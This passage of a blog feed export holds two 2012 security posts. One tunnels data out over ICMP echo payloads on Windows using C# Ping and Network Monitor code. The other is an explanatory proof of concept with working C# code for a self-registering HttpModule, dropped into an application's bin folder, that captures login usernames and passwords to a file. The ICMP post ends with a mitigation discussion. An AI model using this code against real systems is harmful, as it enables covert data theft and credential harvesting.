href=&quot;http://neophob.com/2007/10/pingtunnel-for-windows-icmp-tunnel/&quot;&gt;ported to Windows&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
In case you are not familiar with the idea, a description from&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/ICMP_tunnel&quot;&gt;Wikipedia&lt;/a&gt;&amp;nbsp;follows:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&quot;ICMP tunneling works by injecting arbitrary data into an echo packet sent to a remote computer.&quot;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;...&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&quot;This vulnerability exists because &lt;a href=&quot;http://www.ietf.org/rfc/rfc792.txt&quot;&gt;RFC 792&lt;/a&gt;, which is IETF&#39;s rules governing ICMP packets, allows for an arbitrary data length for any type 0 (echo reply) or 8 (echo message) ICMP packets.&quot;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
It is correct to say that ICMP is normally not considered a threat, at least not by the majority of network administrators. It&#39;s common to add security&amp;nbsp;mechanisms (IDS, IPS, appliances, etc) to a corporate network, but in the end all types of ICMP packets, with all payload sizes etc, pass freely at least from within the private network to the outside world.&amp;nbsp;This technique is used to send sensitive data outside a private network without relying on SMTP, HTTP or other upper layer protocol that are commonly monitored and logged.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;The Sender:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The sender has very simple implementation. Considering the objective is to send data to the outside world, the reply is actually irrelevant. The Sender code does not require to handle the replies.&lt;br /&gt;
&lt;br /&gt;
At first I started writing the Sender code with raw sockets, having lots of fun using binary operators (&amp;lt;&amp;lt;, &amp;gt;&amp;gt;, ~, etc), writing &lt;a href=&quot;http://mathforum.org/library/drmath/view/54379.html&quot;&gt;one&#39;s complement&lt;/a&gt;&amp;nbsp;and reading the &lt;a href=&quot;http://www.ietf.org/rfc/rfc792.txt&quot;&gt;RFC 792&lt;/a&gt;. Then&amp;nbsp;I found the code would only run when executing as administrator. The whole idea wouldn&#39;t make much sense if the Sender process requires elevated&amp;nbsp;privilege. Take for example the ASP.NET Application Pool, as default, wouldn&#39;t be able to run it. And the worse is that this is not something new at all, SOCK_RAW function access was blocked to non administrator users as described by this&amp;nbsp;&lt;a href=&quot;http://support.microsoft.com/default.aspx?scid=kb;en-us;Q195445&quot;&gt;Microsoft knowledge base article&lt;/a&gt;&amp;nbsp;since Windows NT 4.0, which means, always.&lt;br /&gt;
&lt;br /&gt;
I can still remember writing ICMP type 8 (echo request) packets with custom payload about 4 years ago, with C#, and without writing that much code anyway. So I tried the Ping class, introduced on .Net Framework 2.0 only to find a third parameter of type &lt;i&gt;byte[] &lt;/i&gt;called&lt;i&gt; buffer&lt;/i&gt;: Great! That&#39;s the payload. So this is the way to go.&lt;br /&gt;
&lt;br /&gt;
A quick test with:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;new System.Net.NetworkInformation
                .Ping()
                .Send(Dns.GetHostAddresses(&quot;google.com&quot;)
                .First(), 
                300, 
                Encoding.ASCII.GetBytes(&quot;teste123&quot;));
&lt;/pre&gt;
&lt;i&gt;
&lt;br /&gt;
On Microsoft Network Monitor I see:
&lt;br /&gt;
&lt;/i&gt;&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9R-K2SSkLT9k8taueFAiD3clS_puP_yYU0P2g-wnqwVCdmcVRXHUIG4QdYw_vIJlYlBG7KaWLOsSHxnUrQgmjax5v1c7TqiSFRH5Ir793Y0Rds8Zem-Spe_uHMvmngAWAMy2uJkhDe-E/s1600/custom+icmp+payload.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;205&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9R-K2SSkLT9k8taueFAiD3clS_puP_yYU0P2g-wnqwVCdmcVRXHUIG4QdYw_vIJlYlBG7KaWLOsSHxnUrQgmjax5v1c7TqiSFRH5Ir793Y0Rds8Zem-Spe_uHMvmngAWAMy2uJkhDe-E/s400/custom+icmp+payload.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Custom ICMP payload&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;The Receiver:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Working with ICMP is not the same as standard TCP or UDP sockets. We don&#39;t need to Bind a socket to a logical port so the operating system knows which software will handle the packets. To better describe this, I will quote &lt;a href=&quot;http://www.sans.org/reading_room/whitepapers/threats/icmp-attacks-illustrated_477&quot;&gt;a paper&lt;/a&gt; from SANS institute:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Although ICMP messages are sent in IP packets and it uses IP as if it were a higher-level&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;protocol, ICMP is in fact &amp;nbsp;an internal part of IP, and must be implemented in every IP&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;module.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Because of this behavior, monitoring processes and its TCP or UDP ports in use is pointless when using this technique.&lt;br /&gt;
&lt;br /&gt;
When implementing the Receiver part of this PoC, I used &lt;a href=&quot;http://www.microsoft.com/download/en/details.aspx?id=4865&quot;&gt;Microsoft Network Monitor 3.4&lt;/a&gt;, which has an API and already comes with a wrapper class in C# called&amp;nbsp;NetmonAPI.cs. So if you want to run this code, install Microsoft Network Monitor, and add NetmonAPI.cs to your project.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.NetworkMonitor;

namespace BrunoGarcia.Net
{
    /// &amp;lt;summary&amp;gt;
    /// Captures icmp packets of type Echo Request with its payload
    /// &amp;lt;/summary&amp;gt;
    public unsafe sealed class IcmpPayloadCapturer : IDisposable
    {
        readonly IcmpPayloadCaptured _payloadCapturedCallback;
        readonly CaptureCallbackDelegate _captureHandler;
        readonly List&amp;lt;uint&amp;gt; _adapterIndex = new List&amp;lt;uint&amp;gt;();
        readonly NmCaptureMode _captureMode;
        readonly int _icmpPayloadBufferSize;
        bool _isDisposed;
        uint _icmpFilterId, _icmpPayloadFieldId, _sourceIpFieldId, _icmpTypeFieldId;
        IntPtr _engineHandle, _frameParserHandle, _nplParserHandle, _configParserHandle;

        public delegate void IcmpPayloadCaptured(IPAddress sourceAddress, string payload);

        /// &amp;lt;summary&amp;gt;
        /// Monitors NICs for ICMP packets
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&amp;quot;payloadCaptured&amp;quot;&amp;gt;Delegate called when icmp type 8 is captured and its payload extracted&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;icmpPayloadBufferSize&amp;quot;&amp;gt;Buffer size when reading the icmp data field&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&amp;quot;captureMode&amp;quot;&amp;gt;Capture mode: This computer or anything it can listen from an Network Adapter&amp;lt;/param&amp;gt;
        public IcmpPayloadCapturer(IcmpPayloadCaptured payloadCaptured, int icmpPayloadBufferSize = 2048,
            NmCaptureMode captureMode = NmCaptureMode.LocalOnly)
        {
            _payloadCapturedCallback = payloadCaptured;
            _icmpPayloadBufferSize = icmpPayloadBufferSize;
            _captureHandler = new CaptureCallbackDelegate(CaptureCallback);
            _captureMode = captureMode;
        }

        /// &amp;lt;summary&amp;gt;
        /// Starts capture of ICMP Echo Request payload
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&amp;quot;adapters&amp;quot;&amp;gt;Network Interfaces to intercept&amp;lt;/param&amp;gt;
        public void Start(IEnumerable&amp;lt;NetworkInterface&amp;gt; adapters)
        {
            if (_isDisposed)
                throw new ObjectDisposedException(GetType().FullName);

            if (NetmonAPI.NmOpenCaptureEngine(out _engineHandle) != 0)
                throw new Exception(@&amp;quot;Failed to load Capture Engine. Make sure you have:
Program running in Single Threaded Apartment (STA)
Microsoft Network Monitor 3.3 or later installed!&amp;quot;);

            ConfigureParser();
            ConfigureAdapters(_engineHandle, adapters);
        }

        void ConfigureParser()
        {
            NetmonAPI.NmLoadNplParser(null, NmNplParserLoadingOption.NmAppendRegisteredNplSets, null, IntPtr.Zero, out _nplParserHandle);
            NetmonAPI.NmCreateFrameParserConfiguration(_nplParserHandle, null, IntPtr.Zero, out _configParserHandle);

            NetmonAPI.NmAddFilter(_configParserHandle, &amp;quot;Protocol.ICMP&amp;quot;, out _icmpFilterId);
            NetmonAPI.NmAddField(_configParserHandle, &amp;quot;ICMP.Type&amp;quot;, out _icmpTypeFieldId);
            NetmonAPI.NmAddField(_configParserHandle, &amp;quot;IPv4.SourceAddress&amp;quot;, out _sourceIpFieldId);
            NetmonAPI.NmAddField(_configParserHandle, &amp;quot;ICMP.EchoReplyRequest.ImplementationSpecificData&amp;quot;, out _icmpPayloadFieldId);

            NetmonAPI.NmCreateFrameParser(_configParserHandle, out _frameParserHandle, NmFrameParserOptimizeOption.ParserOptimizeFull);
        }

        void ConfigureAdapters(IntPtr engineHandle, IEnumerable&amp;lt;NetworkInterface&amp;gt; adapters)
        {
            var adapterInfo = new NM_NIC_ADAPTER_INFO { Size = (ushort)Marshal.SizeOf(typeof(NM_NIC_ADAPTER_INFO)) };

            uint adapterCount;
            NetmonAPI.NmGetAdapterCount(engineHandle, out adapterCount);

            for (uint i = 0; i &amp;lt; adapterCount; i++)
            {
                NetmonAPI.NmGetAdapter(engineHandle, i, ref adapterInfo);
                if (adapters.Any(p =&amp;gt; p.Id == string.Concat(adapterInfo.Guid.Take(38))))
                {
                    NetmonAPI.NmConfigAdapter(engineHandle, i, _captureHandler, IntPtr.Zero,
                        NmCaptureCallbackExitMode.DiscardRemainFrames);

                    if (NetmonAPI.NmStartCapture(engineHandle, i, _captureMode) == 0)
                        _adapterIndex.Add(i);
                }
            }
        }

        void CaptureCallback(IntPtr captureEngine, UInt32 ladapterIndex, IntPtr callerContext, IntPtr rawFrame)
        {
            IntPtr parsedFrame, insertedRawFrame; // insertedRawFrame is used by reassembly, which only works on saved data. Will always be -1 here.
            if (NetmonAPI.NmParseFrame(_frameParserHandle, rawFrame, uint.MinValue, 
                NmFrameParsingOption.None, out parsedFrame, out insertedRawFrame) == 0)
            {
                bool passed;
                NetmonAPI.NmEvaluateFilter(parsedFrame, _icmpFilterId, out passed);
                if (passed)
                    ParseIcmpPacket(parsedFrame);

                NetmonAPI.NmCloseHandle(parsedFrame);
                parsedFrame = IntPtr.Zero;
            }
            NetmonAPI.NmCloseHandle(rawFrame);
            rawFrame = IntPtr.Zero;
        }

        void ParseIcmpPacket(IntPtr parsedFrame)
        {
            ushort icmpType;
            NetmonAPI.NmGetFieldValueNumber16Bit(parsedFrame, _icmpTypeFieldId, out icmpType);

            if (icmpType == 8) // Echo Request
            {
                var bytes = new byte[_icmpPayloadBufferSize];
                fixed (byte* buffer = &amp;amp;bytes[0])
                {
                    uint size;
                    NetmonAPI.NmGetFieldValueByteArray(parsedFrame, _icmpPayloadFieldId, (uint)_icmpPayloadBufferSize, buffer, out size);
                    uint sourceIp;
                    NetmonAPI.NmGetFieldValueNumber32Bit(parsedFrame, _sourceIpFieldId, out sourceIp);

                    _payloadCapturedCallback(
                        new IPAddress(sourceIp),
                        Encoding.ASCII.GetString(bytes, 0, (int)size));
                }
            }
        }

        ~IcmpPayloadCapturer()
        {
            Dispose(false);
        }

        public void Dispose()
        {
            Dispose(true);
        }

        private void Dispose(bool isDispose)
        {
            if (!_isDisposed)
            {
                _isDisposed = true;

                _adapterIndex.ForEach(i =&amp;gt; NetmonAPI.NmStopCapture(_engineHandle, i));
                NetmonAPI.NmCloseHandle(_engineHandle);
                NetmonAPI.NmCloseHandle(_frameParserHandle);
                NetmonAPI.NmCloseHandle(_nplParserHandle);
                NetmonAPI.NmCloseHandle(_configParserHandle);

                _engineHandle = _frameParserHandle = _nplParserHandle = _configParserHandle = IntPtr.Zero;

                if (isDispose)
                    GC.SuppressFinalize(this);
            }
        }
    }
}
&lt;/pre&gt;
&lt;br /&gt;
Running from the console&amp;nbsp;&lt;b&gt;without&amp;nbsp;&lt;/b&gt;&lt;i&gt;Run as Administrator:&lt;/i&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK2RA49QEjoElMbIB3lvhKItPEdKlIOEYN7bTcMbjxk116oTz8HlVVgyi7AnmG9xwQfaavvdnX-iJrqpbS3nIhqKUzVBWpMeMLEvmaSYNvhBsatNJJcU_H_zFD2XjfK-sOA6t1bdHCGJk/s1600/Sending+and+reading+custom+icmp+payload.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;174&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhK2RA49QEjoElMbIB3lvhKItPEdKlIOEYN7bTcMbjxk116oTz8HlVVgyi7AnmG9xwQfaavvdnX-iJrqpbS3nIhqKUzVBWpMeMLEvmaSYNvhBsatNJJcU_H_zFD2XjfK-sOA6t1bdHCGJk/s320/Sending+and+reading+custom+icmp+payload.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Sending and Reading custom ICMP payload&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Obviously, running the two portions of the code on the same computer does not explain clearly what goes on behind the scenes. But note that there is nothing handling the reply from the Ping code (the Sender part). The Sender thread, is pinging Google but doesn&#39;t know about the reply at all. The Receiver code, running on a different thread, using Microsoft Network Monitor 3.4 API is intercepting all ICMP type 8 packets and parsing its data field.&lt;br /&gt;
&lt;br /&gt;
Now adding the Sender portion to an HttpModule as I mentioned in&amp;nbsp;&lt;a href=&quot;http://blog.brunogarcia.com/2012/02/httpmodules-now-even-easier-to-be.html&quot;&gt;previous post&lt;/a&gt;, an attacker could send sensitive data to another peer via simple ICMP echo requests. The data could be scrambled with a simple XOR or even ciphered with symmetric-key algorithm using hardcoded password or&amp;nbsp;asymmetrically with a public key. Breaking large data into small chunks, would avoid fragmentation (remember MTU for Ethernet is 1500 bytes) and strangely big ICMP packets. Reordering the data on the Receiver gives great possibilities for data transfer. Even an ICMP Chat for Windows could be done, as mentioned in the introduction, exists one for&amp;nbsp;unix-like systems.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;Mitigation&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
On Wikipedia mitigation section, I found:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&quot;Although the only way to prevent this type of tunneling is to block ICMP traffic altogether, this is not realistic for a production or real-world environment. One method for mitigation of this type of attack is to only allow fixed sized ICMP packets through firewalls to virtually eliminate this type of behavior.&quot;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
I disagree that allowing only fixed size ICMP packets would avoid ICMP Tunnel since the data can be break into smaller chunks, fixed ones, and reassembled by the Receiver. Using the code I created as PoC, we can easily change the size of the data, even writing fixed size data, by adding one layer to control sequence numbering, offset, etc. Also we can change the ICMP type by using instead of echo Request, &lt;a href=&quot;http://en.wikipedia.org/wiki/ICMP_Destination_Unreachable&quot;&gt;Destination Unreachable&lt;/a&gt;,&amp;nbsp;or any other. However, considering the idea here is the theft of information, sent from within the network (behind NAT for example), to an external system that will probably receive and log data not only from one, but from several&amp;nbsp;compromised systems, echo Request fits perfectly.&lt;br /&gt;
&lt;br /&gt;
It&#39;s true that there are applications and other protocols relying on ICMP to work properly. The impact of blocking ICMP completely should be assessed prior to taking such action. Still, it should be blocked when not needed, and firewall rules to allow it on each particular case it is required.</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/4435793697531258211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2012/03/icmp-for-stealth-transport-of-data.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/4435793697531258211'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/4435793697531258211'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2012/03/icmp-for-stealth-transport-of-data.html' title='ICMP for stealth transport of data'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9R-K2SSkLT9k8taueFAiD3clS_puP_yYU0P2g-wnqwVCdmcVRXHUIG4QdYw_vIJlYlBG7KaWLOsSHxnUrQgmjax5v1c7TqiSFRH5Ir793Y0Rds8Zem-Spe_uHMvmngAWAMy2uJkhDe-E/s72-c/custom+icmp+payload.PNG" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-7857932417706652775</id><published>2012-02-22T11:34:00.003+01:00</published><updated>2012-03-11T14:25:14.351+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="C#"/><category scheme="http://www.blogger.com/atom/ns#" term="HttpModule"/><category scheme="http://www.blogger.com/atom/ns#" term="PreApplicationStartMethod"/><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><title type='text'>HttpModules. Now even easier to be misused.</title><content type='html'>Attacks like DDoS or simple web defaces are just vandalism and for sure quite annoying. However, what is considered to be a serious threat is when skilled attackers target one application (or one company), looking for specific information. They dig until they find a security hole,&amp;nbsp;escalate&amp;nbsp;privileges&amp;nbsp;and once they have access to one server, they begin to obtain access to other computer systems within that network.&lt;br /&gt;
&lt;br /&gt;
What does it have to do with HttpModules?&lt;br /&gt;
&lt;br /&gt;
HttpModules gives you a complete control over the Request, Response, Session, Cache and other modules loaded within your web application. They are required and very useful when building ASP.NET applications.&lt;br /&gt;
&lt;br /&gt;
This great control over the application can also be misused when malicious attackers break into the Web Application Server. All the applications hosted there are compromised. Access to its ConnectionStrings means database access, and in case authentication is based on forms, all password hashes are readable. Bruteforcing against a dictionary or even using a hash database, like &lt;a href=&quot;http://www.hash-database.net/&quot;&gt;this one&lt;/a&gt; with over 10 million hashes, would break many of them. But with the control HttpModules gives to you is so big that you&amp;nbsp;actually&amp;nbsp;should not worry about hash cracking at all.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;HttpModule&amp;nbsp;Overview:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The classic way to build an HttpModule is to create a class&amp;nbsp;within your Web Application project (or at least reference System.Web), implement IHttpModule interface, create an entry to the web.config, and it works. The registration of the HttpModule is the portion added to the web.config, like:&lt;br /&gt;
&lt;pre class=&quot;brush: html&quot;&gt;&amp;lt;httpModules&amp;gt;
    &amp;lt;add name=&quot;AuditModule&quot; type=&quot;BrunoGarcia.AuditModule&quot;/&amp;gt;
&amp;lt;/httpModules&amp;gt;
&lt;/pre&gt;
HttpModules can easily be plugged in an application in production without rebuilding it or having any access to the source control what so ever. Simply adding the module dll under the bin folder or just putting HttpModule source file in App_Code folder which would trigger dynamic compilation and recycle the application.&amp;nbsp;&lt;b&gt;But the web.config registration would have to be done either way.&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;With the introduction of ASP.NET MVC 3, came along the&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;font-family: &#39;Segoe UI&#39;, Verdana, Arial; font-size: 13px; font-weight: bold; text-align: left;&quot;&gt;Microsoft.Web.Infrastructure &lt;/span&gt;&lt;span style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;assembly. &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Microsoft has its description on &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/microsoft.web.infrastructure(v=vs.99).aspx&quot;&gt;msdn&lt;/a&gt;:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;font-family: &#39;Segoe UI&#39;, Verdana, Arial; font-size: 13px; text-align: left;&quot;&gt;The&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Segoe UI&#39;, Verdana, Arial; font-size: 13px; text-align: left;&quot;&gt;&lt;span class=&quot;selflink&quot; style=&quot;font-weight: 700;&quot;&gt;Microsoft.Web.Infrastructure.DynamicModuleHelper&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Segoe UI&#39;, Verdana, Arial; font-size: 13px; text-align: left;&quot;&gt;&amp;nbsp;contains classes that assist in managing dynamic modules in ASP.NET web pages that use the &lt;b&gt;Razor &lt;/b&gt;syntax.&lt;/span&gt;&lt;/i&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;One of the classes within that namespace is:&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/system.web.preapplicationstartmethodattribute.aspx&quot;&gt;PreApplicationStartMethodAttribute&lt;/a&gt;&amp;nbsp;that can be used to make the module registration programmatically. Note that even though it&amp;nbsp;mentions&amp;nbsp;&quot;Razor syntax&quot;, what I describe here works with any type of ASP.NET application.&lt;/div&gt;
&lt;br /&gt;
With this, it got even easier, considering the module will register itself. Just make sure the application server has the Microsoft.Web.Infrastructure.dll&amp;nbsp;available either in the global assembly catalog (GAC) or at least under the application Bin folder&amp;nbsp;and the application pool running on .Net 4.0. &lt;a href=&quot;http://www.mattwrock.com/&quot;&gt;Matt Wrock&lt;/a&gt; wrote &lt;a href=&quot;http://code.msdn.microsoft.com/Installing-an-HttpModule-27d7c6e1&quot;&gt;here&lt;/a&gt;, not long ago, about this new functionality and he ends the post with the section &quot;Is this a good practice?&quot; describing a few concerns about this technique. I&#39;d like to quote this part:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Segoe UI&#39;, &#39;Lucida Grande&#39;, Verdana, Arial, Helvetica, sans-serif; font-size: 13px;&quot;&gt;&lt;i&gt;&quot;&lt;/i&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Segoe UI&#39;, &#39;Lucida Grande&#39;, Verdana, Arial, Helvetica, sans-serif; font-size: 13px;&quot;&gt;&lt;i&gt;Well maybe I&#39;m over thinking this but my first concern here is &lt;b&gt;discoverability&lt;/b&gt;. In the case of this specific sample, the HttpModule is visibly changing the markup rendered to the browser. I envision a new developer or team inheriting this application and wonder just how long it will take for them to find where this &quot;alteration&quot; is coming from.&lt;/i&gt; ...&amp;nbsp;&lt;/span&gt;&lt;i style=&quot;font-family: &#39;Segoe UI&#39;, &#39;Lucida Grande&#39;, Verdana, Arial, Helvetica, sans-serif; font-size: 13px;&quot;&gt;Or perhaps a team member drops in such a module and forgets to tell the team she put it there. I&#39;m thinking that at some point in this story some negative energy will be exerted. Perhaps even a tear shed?&quot;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Now an attacker with write permission to the application bin folder can inject a module without even changing the web.config, and therefore make it even more complicated to detect the system was&amp;nbsp;compromised.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;PoC:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
To simulate the production system&amp;nbsp;I&#39;ve created a new project using ASP.NET Web Application template that&amp;nbsp;creates a standard Web Forms Project, did no changes to the project, built it and hosted with IIS 7.5.&lt;br /&gt;
Created an entry to the loopback on C:\Windows\System32\drivers\etc\hosts called:&amp;nbsp;&lt;i&gt;httpmodulepoc.com&lt;/i&gt;&lt;br /&gt;
Note that IIS has default settings and the Application Pool is running under&amp;nbsp;ApplicationPoolIdentity and as mentioned &lt;a href=&quot;http://support.microsoft.com/kb/2005172&quot;&gt;here&lt;/a&gt;, is:
&lt;br /&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;ApplicationPoolIdentity is a Managed Service Account, which is a new concept introduced in Windows Server 2008 R2 and Windows 7. &amp;nbsp;For more information on Managed Service Accounts, please see the following link:&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/library/dd367859(WS.10).aspx&quot;&gt;http://technet.microsoft.com/en-us/library/dd367859(WS.10).aspx&lt;/a&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;For this PoC I thought of simply intercepting all requests, and in case of a POST on the login form, write the username and password to a file. Writing a file on disk with the permission set that Application Pool has by default doesn&#39;t give you many options. However the ACL on ASP.NET Temp folder allows write access.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
Therefore I picked the path:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Then comes the module:&lt;br /&gt;
&lt;pre class=&quot;brush: csharp&quot;&gt;using System;
using System.IO;
using System.Web;
using System.Web.Hosting;
using Microsoft.Web.Infrastructure.DynamicModuleHelper;

[assembly: PreApplicationStartMethod(typeof(RequestInterceptorModule), &quot;Run&quot;)]
public class RequestInterceptorModule : IHttpModule
{
    public static void Run()
    {
        DynamicModuleUtility.RegisterModule(typeof(RequestInterceptorModule));
    }

    public void Dispose() { }

    const string myFile = @&quot;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\HttpModulePoC&quot;;
    static readonly object @lock = new object();

    public void Init(HttpApplication context)
    {
        context.BeginRequest += new EventHandler(context_BeginRequest);

        File.WriteAllText(myFile,
            string.Format(&quot;{0} Module initialized for application {1}\r\n&quot;,
            DateTime.Now,
            HostingEnvironment.ApplicationHost.GetSiteName()));
    }

    void context_BeginRequest(object sender, EventArgs e)
    {
        var app = sender as HttpApplication;
        if (app.Request.RequestType == &quot;POST&quot;
            &amp;amp;&amp;amp; Path.GetFileName(app.Request.PhysicalPath) == &quot;Login.aspx&quot;)
        {
            lock (@lock)
            {
                File.AppendAllText(myFile, string.Format(&quot;{0} - Login: {1} - Password: {2}\r\n&quot;,
                    DateTime.Now,
                    app.Request.Form[&quot;ctl00$MainContent$LoginUser$UserName&quot;],
                    app.Request.Form[&quot;ctl00$MainContent$LoginUser$Password&quot;]));
            }
        }
    }
}
&lt;/pre&gt;
&lt;br /&gt;
I built this class in its own project. A dll file with 6KB was created and I just copied it to the hosted application HttpModulePoC bin folder.&lt;br /&gt;
&lt;br /&gt;
Then I browse:&amp;nbsp;&lt;i&gt;http://httpmodulepoc.com&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
When I hit the server, the application pool process starts, the module loads itself, subscribes for BeginRequest event&amp;nbsp;and writes to the file:&lt;br /&gt;
&lt;i&gt;21/02/2012 16:32:45 Module initialized for application HttpModulePoC&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;/i&gt;&lt;br /&gt;
Click on Login link, write username and password and click Log In:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
